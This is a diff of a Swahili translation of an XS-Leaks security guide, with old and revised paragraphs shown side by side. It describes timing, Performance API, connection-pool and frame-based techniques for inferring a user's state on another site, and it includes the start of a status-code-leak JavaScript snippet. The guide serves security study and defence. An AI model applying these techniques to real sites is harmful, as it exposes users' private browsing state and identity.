Inawezekana **kupakia ukurasa** ndani ya **iframe** na kutumia **`#id_value`** kufanya ukurasa **uangalie kwenye kipengele** cha iframe kilichoonyeshwa ikiwa, kisha ikiwa ishara ya **`onblur`** itazinduliwa, kipengele cha ID kinakuwepo.\
Unaweza kufanya shambulizi sawa na vitambulisho vya **`portal`**.
Inawezekana **kupakia ukurasa** ndani ya **iframe** na kutumia **`#id_value`** kufanya ukurasa **uangalie kwenye kipengele** cha iframe kilichotajwa ikiwa, kisha ikiwa ishara ya **`onblur`** itasababisha, kipengele cha ID kinapatikana.\
Unaweza kufanya shambulio sawa na **`portal`** tags.
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
@ -188,7 +188,7 @@ Unaweza kufanya shambulizi sawa na vitambulisho vya **`portal`**.
- **Summary**: Kusanya taarifa nyeti kutoka kwa postMessage au tumia uwepo wa postMessages kama oracle kujua hali ya mtumiaji kwenye ukurasa
- **Code Example**: `Any code listening for all postMessages.`
Programu mara nyingi hutumia [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) kuwasiliana kati ya asili tofauti. Hata hivyo, njia hii inaweza bila kukusudia kufichua **taarifa nyeti** ikiwa parameta ya `targetOrigin` haijakamilishwa ipasavyo, ikiruhusu dirisha lolote kupokea ujumbe. Zaidi ya hayo, kitendo cha kupokea ujumbe kinaweza kutenda kama **oracle**; kwa mfano, ujumbe fulani huenda ukatumwa tu kwa watumiaji walioingia. Kwa hivyo, uwepo au ukosefu wa ujumbe hawa unaweza kufichua taarifa kuhusu hali au utambulisho wa mtumiaji, kama vile ikiwa wameidhinishwa au la.
Mifumo mara nyingi hutumia [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) kuwasiliana kati ya asili tofauti. Hata hivyo, njia hii inaweza kwa bahati mbaya kufichua **taarifa nyeti** ikiwa parameter ya `targetOrigin` haijapangwa vizuri, ikiruhusu dirisha lolote kupokea ujumbe. Zaidi ya hayo, kitendo cha kupokea ujumbe kinaweza kutenda kama **oracle**; kwa mfano, ujumbe fulani huenda ukatumwa tu kwa watumiaji walioingia. Kwa hivyo, uwepo au ukosefu wa ujumbe hawa unaweza kufichua taarifa kuhusu hali au utambulisho wa mtumiaji, kama vile ikiwa wameidhinishwa au la.
## Global Limits Techniques
@ -202,19 +202,19 @@ Programu mara nyingi hutumia [`postMessage` broadcasts](https://developer.mozill
Inawezekana kubaini ikiwa, na ni wangapi, **uunganisho wa WebSocket ukurasa wa lengo unatumia**. Inaruhusu mshambuliaji kugundua hali za programu na kuvuja taarifa zinazohusiana na idadi ya uhusiano wa WebSocket.
Ikiwa asili moja inatumia **idadi kubwa zaidi ya vitu vya uhusiano wa WebSocket**, bila kujali hali zao za uhusiano, uundaji wa **vitu vipya utasababisha makosa ya JavaScript**. Ili kutekeleza shambulizi hili, tovuti ya mshambuliaji inafungua tovuti ya lengo katika pop-up au iframe na kisha, baada ya wavuti ya lengo kupakuliwa, inajaribu kuunda idadi kubwa zaidi ya uhusiano wa WebSocket iwezekanavyo. **Idadi ya makosa yaliyotupwa** ni **idadi ya uhusiano wa WebSocket inayotumiwa na dirisha la tovuti ya lengo**.
Ikiwa asili moja inatumia **idadi kubwa zaidi ya vitu vya uhusiano wa WebSocket**, bila kujali hali zao za uhusiano, uundaji wa **vitu vipya utasababisha makosa ya JavaScript**. Ili kutekeleza shambulio hili, tovuti ya mshambuliaji inafungua tovuti ya lengo katika pop-up au iframe na kisha, baada ya wavuti ya lengo kupakuliwa, inajaribu kuunda idadi kubwa zaidi ya uhusiano wa WebSocket iwezekanavyo. **Idadi ya makosa yaliyotupwa** ni **idadi ya uhusiano wa WebSocket unaotumiwa na dirisha la tovuti ya lengo**.
### Payment API
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API Usage
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Summary**: Gundua Ombi la Malipo kwa sababu moja tu inaweza kuwa hai kwa wakati mmoja.
- **Summary**: Gundua Ombi la Malipo kwa sababu moja tu inaweza kuwa hai wakati mmoja.
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
Hii XS-Leak inaruhusu mshambuliaji **gundua wakati ukurasa wa cross-origin unapoanzisha ombi la malipo**.
Kwa sababu **ombile moja la malipo linaweza kuwa hai** kwa wakati mmoja, ikiwa tovuti ya lengo inatumia Payment Request API, jaribio lolote la **kuonyesha matumizi ya API hii litashindwa**, na kusababisha **kosa la JavaScript**. Mshambuliaji anaweza kutumia hili kwa **kujaribu mara kwa mara kuonyesha UI ya Payment API**. Ikiwa jaribio moja linapelekea kosa, tovuti ya lengo kwa sasa inatumia hiyo. Mshambuliaji anaweza kuficha jaribio haya ya mara kwa mara kwa kufunga UI mara moja baada ya kuunda.
Kwa sababu **ombile moja tu linaweza kuwa hai** wakati mmoja, ikiwa tovuti ya lengo inatumia Payment Request API, jaribio lolote la **kuonyesha matumizi ya API hii litashindwa**, na kusababisha **makosa ya JavaScript**. Mshambuliaji anaweza kutumia hili kwa **kujaribu mara kwa mara kuonyesha UI ya Payment API**. Ikiwa jaribio moja linapelekea kosa, tovuti ya lengo kwa sasa inaitumia. Mshambuliaji anaweza kuficha jaribio hizi za mara kwa mara kwa kufunga UI mara moja baada ya kuunda.
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
@ -228,30 +228,30 @@ Kwa sababu **ombile moja la malipo linaweza kuwa hai** kwa wakati mmoja, ikiwa t
event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript inafanya kazi kwenye [mzunguko wa tukio wa nyuzi moja](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) mfano wa ushirikiano, ikimaanisha kwamba **inaweza kutekeleza kazi moja tu kwa wakati**. Sifa hii inaweza kutumika kutathmini **ni muda gani msimbo kutoka kwa asili tofauti unachukua kutekeleza**. Mshambuliaji anaweza kupima muda wa utekelezaji wa msimbo wao wenyewe katika mzunguko wa tukio kwa kutuma matukio mara kwa mara yenye mali zilizowekwa. Matukio haya yatashughulikiwa wakati hifadhi ya matukio iko tupu. Ikiwa asili nyingine pia inatuma matukio kwenye hifadhi hiyo hiyo, **mshambuliaji anaweza kudhani muda inachukua kwa matukio haya ya nje kutekelezwa kwa kuangalia ucheleweshaji katika utekelezaji wa kazi zao wenyewe**. Njia hii ya kufuatilia mzunguko wa tukio kwa ucheleweshaji inaweza kufichua muda wa utekelezaji wa msimbo kutoka kwa asili tofauti, ikifichua taarifa nyeti.
JavaScript inafanya kazi kwenye [mzunguko wa tukio wa nyuzi moja](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) mfano wa ushirikiano, ikimaanisha kwamba **inaweza kutekeleza kazi moja tu kwa wakati**. Sifa hii inaweza kutumika kutathmini **ni muda gani kodhi kutoka kwa asili tofauti inachukua kutekelezwa**. Mshambuliaji anaweza kupima muda wa utekelezaji wa kodhi yao wenyewe katika mzunguko wa tukio kwa kutuma matukio mara kwa mara yenye sifa zilizowekwa. Matukio haya yatachakatwa wakati hifadhi ya matukio ikiwa tupu. Ikiwa asili nyingine pia inatuma matukio kwenye hifadhi hiyo hiyo, mshambuliaji anaweza kudhani muda inachukua kwa matukio haya ya nje kutekelezwa kwa kuangalia ucheleweshaji katika utekelezaji wa kazi zao wenyewe. Njia hii ya kufuatilia mzunguko wa tukio kwa ucheleweshaji inaweza kufichua muda wa utekelezaji wa kodhi kutoka kwa asili tofauti, ikifichua taarifa nyeti.
> [!WARNING]
> Katika kupima muda wa utekelezaji inawezekana **kuondoa** **mambo ya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuupakia.
> Katika kupima muda wa utekelezaji inawezekana **kuondoa** **mambo ya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumika na ukurasa kabla ya kuupakia.
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
- **Inclusion Methods**:
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Summary:** Njia moja ya kupima muda wa utekelezaji wa operesheni ya wavuti inahusisha kuzuia makusudi mzunguko wa tukio wa nyuzi na kisha kupima **ni muda gani inachukua kwa mzunguko wa tukio kuwa upatikani tena**. Kwa kuingiza operesheni ya kuzuia (kama vile hesabu ndefu au wito wa API wa synchronous) kwenye mzunguko wa tukio, na kufuatilia muda inachukua kwa msimbo unaofuata kuanza kutekelezwa, mtu anaweza kudhani muda wa kazi ambazo zilikuwa zikitekelezwa katika mzunguko wa tukio wakati wa kipindi cha kuzuia. Mbinu hii inatumia asili ya nyuzi moja ya mzunguko wa tukio wa JavaScript, ambapo kazi zinafanywa kwa mpangilio, na inaweza kutoa maarifa kuhusu utendaji au tabia ya operesheni nyingine zinazoshiriki nyuzi hiyo hiyo.
- **Summary:** Njia moja ya kupima muda wa utekelezaji wa operesheni ya wavuti inahusisha kuzuia kwa makusudi mzunguko wa tukio wa nyuzi na kisha kupima **ni muda gani inachukua kwa mzunguko wa tukio kuwa upatikani tena**. Kwa kuingiza operesheni ya kuzuia (kama vile hesabu ndefu au wito wa API wa synchronous) kwenye mzunguko wa tukio, na kufuatilia muda inachukua kwa kodhi inayofuata kuanza kutekelezwa, mtu anaweza kudhani muda wa kazi ambazo zilikuwa zikitekelezwa katika mzunguko wa tukio wakati wa kipindi cha kuzuia. Mbinu hii inatumia asili ya nyuzi moja ya mzunguko wa tukio wa JavaScript, ambapo kazi zinafanywa kwa mpangilio, na inaweza kutoa maarifa kuhusu utendaji au tabia ya operesheni nyingine zinazoshiriki nyuzi hiyo hiyo.
- **Code Example**:
Faida kubwa ya mbinu ya kupima muda wa utekelezaji kwa kufunga mzunguko wa tukio ni uwezo wake wa kukwepa **Kujitenga kwa Tovuti**. **Kujitenga kwa Tovuti** ni kipengele cha usalama kinachotenganisha tovuti tofauti katika michakato tofauti, lengo lake ni kuzuia tovuti mbaya kupata moja kwa moja data nyeti kutoka tovuti nyingine. Hata hivyo, kwa kuathiri muda wa utekelezaji wa asili nyingine kupitia mzunguko wa tukio wa pamoja, mshambuliaji anaweza kwa njia isiyo ya moja kwa moja kutoa taarifa kuhusu shughuli za asili hiyo. Njia hii haitegemei ufikiaji wa moja kwa moja wa data ya asili nyingine bali inatazama athari za shughuli za asili hiyo kwenye mzunguko wa tukio wa pamoja, hivyo kukwepa vizuizi vya kinga vilivyowekwa na **Kujitenga kwa Tovuti**.
Faida kubwa ya mbinu ya kupima muda wa utekelezaji kwa kufunga mzunguko wa tukio ni uwezo wake wa kukwepa **Site Isolation**. **Site Isolation** ni kipengele cha usalama kinachotenganisha tovuti tofauti katika michakato tofauti, ikilenga kuzuia tovuti mbaya kupata moja kwa moja data nyeti kutoka kwa tovuti nyingine. Hata hivyo, kwa kuathiri muda wa utekelezaji wa asili nyingine kupitia mzunguko wa tukio wa pamoja, mshambuliaji anaweza kwa njia isiyo ya moja kwa moja kutoa taarifa kuhusu shughuli za asili hiyo. Njia hii haitegemei ufikiaji wa moja kwa moja wa data ya asili nyingine bali inafuatilia athari za shughuli za asili hiyo kwenye mzunguko wa tukio wa pamoja, hivyo kukwepa vizuizi vya kinga vilivyowekwa na **Site Isolation**.
> [!WARNING]
> Katika kupima muda wa utekelezaji inawezekana **kuondoa** **mambo ya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuupakia.
> Katika kupima muda wa utekelezaji inawezekana **kuondoa** **mambo ya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumika na ukurasa kabla ya kuupakia.
### Connection Pool
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Summary:** Mshambuliaji anaweza kufunga soketi zote isipokuwa 1, kupakia wavuti ya lengo na kwa wakati mmoja kupakia ukurasa mwingine, muda hadi ukurasa wa mwisho unaanza kupakia ni muda ambao ukurasa wa lengo ulitumia kupakia.
- **Summary:** Mshambuliaji anaweza kufunga soketi zote isipokuwa 1, kupakia wavuti ya lengo na kwa wakati huo kupakia ukurasa mwingine, muda hadi ukurasa wa mwisho unaanza kupakia ni muda ambao ukurasa wa lengo ulitumia kupakia.
- **Code Example**:
{{#ref}}
@ -272,13 +272,13 @@ Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-p
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**:
- **Summary:** Ni kama mbinu ya awali lakini badala ya kutumia soketi zote, Google **Chrome** inaweka kikomo cha **ombile 6 zinazofanya kazi kwa asili moja**. Ikiwa tutazuia **5** na kisha **kuanzisha ombi la 6** tunaweza **kupima** na ikiwa tumeweza kufanya **ukurasa wa mwathirika utume** maombi zaidi kwa kiungo sawa ili kugundua **hali** ya **ukurasa**, **ombile la 6** litachukua **muda mrefu** na tunaweza kuligundua.
- **Summary:** Ni kama mbinu ya awali lakini badala ya kutumia soketi zote, Google **Chrome** inaweka kikomo cha **ombile 6 zinazofanya kazi kwa asili moja**. Ikiwa tutazuia **5** na kisha **kuanzisha ombi la 6** tunaweza **kupima** na ikiwa tumeweza kufanya **ukurasa wa mwathirika utume** ombi zaidi kwa kiungo kimoja kugundua **hali** ya **ukurasa**, ombi la **6** litachukua **muda mrefu** na tunaweza kuligundua.
## Performance API Techniques
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) inatoa maarifa kuhusu vipimo vya utendaji wa programu za wavuti, ikiongezwa zaidi na [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API inaruhusu kufuatilia muda wa maombi ya mtandao kwa undani, kama vile muda wa maombi. Kwa kuzingatia, wakati seva zinajumuisha kichwa cha `Timing-Allow-Origin: *` katika majibu yao, data za ziada kama vile ukubwa wa uhamisho na muda wa kutafuta kikoa zinapatikana.
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) inatoa maarifa kuhusu vipimo vya utendaji wa programu za wavuti, ikiongezwa na [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API inaruhusu kufuatilia muda wa maombi ya mtandao kwa undani, kama vile muda wa maombi. Kwa kuzingatia, wakati seva zinajumuisha kichwa cha `Timing-Allow-Origin: *` katika majibu yao, data zaidi kama vile ukubwa wa uhamisho na muda wa kutafuta kikoa inapatikana.
Hii data nyingi inaweza kupatikana kupitia mbinu kama [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) au [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), ikitoa mtazamo wa kina wa taarifa zinazohusiana na utendaji. Zaidi ya hayo, API inarahisisha kupima muda wa utekelezaji kwa kuhesabu tofauti kati ya alama za wakati zinazopatikana kutoka [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Hata hivyo, inapaswa kuzingatiwa kwamba kwa shughuli fulani katika vivinjari kama Chrome, usahihi wa `performance.now()` unaweza kuwa na mipaka hadi milisekunde, ambayo inaweza kuathiri undani wa vipimo vya muda.
Hii data nyingi inaweza kupatikana kupitia mbinu kama [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) au [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), ikitoa mtazamo wa kina wa taarifa zinazohusiana na utendaji. Zaidi ya hayo, API inarahisisha kupima muda wa utekelezaji kwa kuhesabu tofauti kati ya alama za muda zinazopatikana kutoka [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Hata hivyo, inapaswa kuzingatiwa kwamba kwa shughuli fulani katika vivinjari kama Chrome, usahihi wa `performance.now()` unaweza kuwa na mipaka hadi milisekunde, ambayo inaweza kuathiri undani wa vipimo vya muda.
Mbali na vipimo vya muda, Performance API inaweza kutumika kwa maarifa yanayohusiana na usalama. Kwa mfano, uwepo au ukosefu wa kurasa katika kitu cha `performance` katika Chrome unaweza kuashiria matumizi ya `X-Frame-Options`. Kwa haswa, ikiwa ukurasa umezuia kuonyeshwa katika fremu kutokana na `X-Frame-Options`, hautarekodiwa katika kitu cha `performance`, ikitoa kidokezo kidogo kuhusu sera za uwasilishaji wa ukurasa.
@ -310,14 +310,14 @@ Katika mbinu ya awali pia iligundulika kesi mbili ambapo hitilafu za kivinjari k
- **Summary:** Maombi yanayosababisha kosa hayawezi kuunganishwa.
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Mbinu hii iligunduliwa katika jedwali katika karatasi iliyoelezwa lakini hakuna maelezo ya mbinu hiyo yalipatikana. Hata hivyo, unaweza kupata msimbo wa chanzo ukikagua kwa [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Mbinu hii iligundulika katika jedwali katika karatasi iliyoelezwa lakini hakuna maelezo ya mbinu hiyo iliyoonekana. Hata hivyo, unaweza kupata msimbo wa chanzo ukikagua [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Empty Page Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Majibu yasiyo na maudhui hayaundai vipengee vya muda wa rasilimali.
- **Summary:** Majibu yasiyo na maudhui hayaundai kuingia kwa muda wa rasilimali.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
Mshambuliaji anaweza kugundua ikiwa ombi limesababisha mwili wa jibu wa HTTP kuwa tupu kwa sababu **kurasa tupu hazaundai kipengee cha utendaji katika vivinjari vingine**.
@ -327,48 +327,48 @@ Mshambuliaji anaweza kugundua ikiwa ombi limesababisha mwili wa jibu wa HTTP kuw
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Kutumia XSS Auditor katika Madai ya Usalama, washambuliaji wanaweza kugundua vipengele maalum vya ukurasa wa wavuti kwa kuangalia mabadiliko katika majibu wakati payloads zilizoundwa zinachochea mfumo wa kuchuja wa auditor.
- **Summary:** Kutumia XSS Auditor katika Madai ya Usalama, washambuliaji wanaweza kugundua vipengele maalum vya ukurasa wa wavuti kwa kuangalia mabadiliko katika majibu wakati payloads zilizoundwa zinachochea mfumo wa filtering wa auditor.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
Katika Madai ya Usalama (SA), XSS Auditor, iliyokusudiwa awali kuzuia mashambulizi ya Cross-Site Scripting (XSS), inaweza kwa njia ya ajabu kutumika kuvuja taarifa nyeti. Ingawa kipengele hiki kilijengwa ndani kimeondolewa kutoka Google Chrome (GC), bado kinapatikana katika SA. Mnamo mwaka wa 2013, Braun na Heiderich walionyesha kwamba XSS Auditor inaweza bila kukusudia kuzuia skripti halali, na kusababisha matokeo ya uwongo. Kwa kujenga juu ya hili, watafiti walitengeneza mbinu za kutoa taarifa na kugundua maudhui maalum kwenye kurasa za cross-origin, dhana inayojulikana kama XS-Leaks, ambayo iliripotiwa kwanza na Terada na kuelezewa na Heyes katika chapisho la blogu. Ingawa mbinu hizi zilikuwa maalum kwa XSS Auditor katika GC, iligundulika kwamba katika SA, kurasa zilizozuiwa na XSS Auditor hazizalishi vipengee katika Performance API, ikifichua njia ambayo taarifa nyeti inaweza bado kuvuja.
Katika Madai ya Usalama (SA), XSS Auditor, iliyokusudiwa awali kuzuia mashambulizi ya Cross-Site Scripting (XSS), inaweza kwa njia isiyo ya moja kwa moja kutumika kuvuja taarifa nyeti. Ingawa kipengele hiki kilijengwa kimeondolewa kutoka Google Chrome (GC), bado kinapatikana katika SA. Mnamo mwaka wa 2013, Braun na Heiderich walionyesha kwamba XSS Auditor inaweza kwa bahati mbaya kuzuia skripti halali, na kusababisha matokeo ya uwongo. Kwa kujenga juu ya hili, watafiti walitengeneza mbinu za kutoa taarifa na kugundua maudhui maalum kwenye kurasa za cross-origin, dhana inayojulikana kama XS-Leaks, ambayo iliripotiwa awali na Terada na kuelezewa na Heyes katika chapisho la blogu. Ingawa mbinu hizi zilikuwa maalum kwa XSS Auditor katika GC, iligundulika kwamba katika SA, kurasa zilizozuiwa na XSS Auditor hazizalishi kuingia katika Performance API, ikifichua njia ambayo taarifa nyeti inaweza bado kuvuja.
### X-Frame Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
- **Summary:** Rasilimali yenye kichwa cha X-Frame-Options haizalishi kipengee cha muda wa rasilimali.
- **Summary:** Rasilimali yenye kichwa cha X-Frame-Options haizalishi kuingia kwa muda wa rasilimali.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Ikiwa ukurasa **haukubaliwi** ku **onyeshwa** katika **iframe** hauzali kipengee cha utendaji. Kama matokeo, mshambuliaji anaweza kugundua kichwa cha jibu **`X-Frame-Options`**.\
Vivyo hivyo inatokea ikiwa unatumia **tag ya embed.**
Ikiwa ukurasa **haukubaliki** kuonyeshwa katika **iframe** hauzali kuingia kwa utendaji. Kama matokeo, mshambuliaji anaweza kugundua kichwa cha jibu **`X-Frame-Options`**.\
Vivyo hivyo inatokea ikiwa unatumia **embed** **tag.**
### Download Detection
- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Upakuaji hauzali vipengee vya muda wa rasilimali katika Performance API.
- **Summary:** Upakuaji hauzali kuingia kwa muda wa rasilimali katika Performance API.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Kama ilivyo katika XS-Leak iliyoelezwa, **rasilimali inayopakuliwa** kwa sababu ya kichwa cha ContentDisposition, pia **haizalishi kipengee cha utendaji**. Mbinu hii inafanya kazi katika vivinjari vyote vikuu.
Kama ilivyo katika XS-Leak iliyoelezwa, **rasilimali inayopakuliwa** kwa sababu ya kichwa cha ContentDisposition, pia **haizalishi kuingia kwa utendaji**. Mbinu hii inafanya kazi katika vivinjari vyote vikuu.
### Redirect Start Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: Redirect
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Kipengee cha muda wa rasilimali kinavuja wakati wa kuanza kwa uelekezaji.
- **Summary:** Kuingia kwa muda wa rasilimali kunavuja wakati wa kuanza kwa uelekezaji.
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Tumegundua mfano mmoja wa XS-Leak unaotumia tabia ya vivinjari vingine ambavyo vinaandika taarifa nyingi sana kwa maombi ya cross-origin. Kiwango kinatambua subset ya sifa ambazo zinapaswa kuwekwa sifuri kwa rasilimali za cross-origin. Hata hivyo, katika **SA** inawezekana kugundua ikiwa mtumiaji anae **elekezwa** na ukurasa wa lengo, kwa kuuliza **Performance API** na kuangalia data ya **redirectStart timing**.
Tulifanya ugunduzi mmoja wa XS-Leak inayotumia tabia ya vivinjari vingine ambavyo vinaandika taarifa nyingi sana kwa maombi ya cross-origin. Kiwango kinatambua subset ya sifa ambazo zinapaswa kuwekwa sifuri kwa rasilimali za cross-origin. Hata hivyo, katika **SA** inawezekana kugundua ikiwa mtumiaji anae **elekezwa** na ukurasa wa lengo, kwa kuuliza **Performance API** na kuangalia **data ya wakati wa redirectStart**.
### Duration Redirect Leak
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Redirect
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Muda wa vipengee vya muda ni hasi wakati uelekezaji unapotokea.
- **Summary:** Muda wa kuingia kwa muda ni hasi wakati uelekezaji unapotokea.
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
Katika GC, **muda** wa maombi yanayosababisha **uelekezaji** ni **hasi** na hivyo inaweza **kutofautishwa** na maombi yasiyo na uelekezaji.
@ -378,23 +378,23 @@ Katika GC, **muda** wa maombi yanayosababisha **uelekezaji** ni **hasi** na hivy
- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Rasilimali iliyo na ulinzi wa CORP haizalishi vipengee vya muda wa rasilimali.
- **Summary:** Rasilimali iliyo na ulinzi wa CORP haizalishi kuingia kwa muda wa rasilimali.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
Katika baadhi ya matukio, **kipengee cha nextHopProtocol** kinaweza kutumika kama mbinu ya kuvuja. Katika GC, wakati kichwa cha **CORP** kimewekwa, nextHopProtocol itakuwa **tupu**. Kumbuka kwamba SA haitaunda kipengee cha utendaji kabisa kwa rasilimali zilizo na CORP.
Katika baadhi ya matukio, **kuingia kwa nextHopProtocol** kunaweza kutumika kama mbinu ya kuvuja. Katika GC, wakati kichwa cha **CORP** kimewekwa, nextHopProtocol itakuwa **tupu**. Kumbuka kwamba SA haitaunda kuingia kwa utendaji kwa rasilimali zilizo na CORP.
### Service Worker
- **Inclusion Methods**: Frames
- **Detectable Difference**: API Usage
- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
- **Summary:** Gundua ikiwa huduma ya kazi imeandikishwa kwa asili maalum.
- **Summary:** Gundua ikiwa huduma ya mfanyakazi imeandikishwa kwa asili maalum.
- **Code Example**:
Huduma za kazi ni muktadha wa skripti unaotegemea matukio ambayo yanafanya kazi katika asili. Zinafanya kazi katika nyuma ya ukurasa wa wavuti na zinaweza kuingilia, kubadilisha, na **kuficha rasilimali** ili kuunda programu za wavuti zisizo na mtandao.\
Ikiwa **rasilimali iliyofichwa** na **huduma ya kazi** inafikiwa kupitia **iframe**, rasilimali hiyo itakuwa **imepakiwa kutoka kwenye cache ya huduma ya kazi**.\
Ili kugundua ikiwa rasilimali hiyo ilipakiwa kutoka kwenye cache ya huduma ya kazi, **Performance API** inaweza kutumika.\
Hii inaweza pia kufanywa kwa shambulizi la Timing (angalia karatasi kwa maelezo zaidi).
Wafanyakazi wa huduma ni muktadha wa skripti unaotegemea matukio ambayo yanafanya kazi katika asili. Wanakimbia katika nyuma ya ukurasa wa wavuti na wanaweza kuingilia, kubadilisha, na **kuficha rasilimali** ili kuunda programu za wavuti zisizo na mtandao.\
Ikiwa **rasilimali iliyofichwa** na **mfanyakazi wa huduma** inafikiwa kupitia **iframe**, rasilimali hiyo itakuwa **imepakuliwa kutoka kwenye cache ya mfanyakazi wa huduma**.\
Ili kugundua ikiwa rasilimali hiyo ilipakuliwa kutoka kwenye cache ya mfanyakazi wa huduma, **Performance API** inaweza kutumika.\
Hii inaweza pia kufanywa kwa shambulio la Timing (angalia karatasi kwa maelezo zaidi).
### Cache
@ -421,7 +421,7 @@ Kwa kutumia [Performance API](./#performance-api) inawezekana kuangalia ikiwa ra
- **Inclusion Methods**: HTML Elements (Video, Audio)
- **Detectable Difference**: Status Code
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
- **Summary:** Katika Firefox inawezekana kuvuja kwa usahihi msimbo wa hali wa ombi la cross-origin.
- **Summary:** Katika Firefox inawezekana kwa usahihi kuvuja msimbo wa hali wa ombi la cross-origin.
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
@ -520,7 +520,7 @@ If a page loads an image only if the user is logged in, you can **invalidate** t
- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
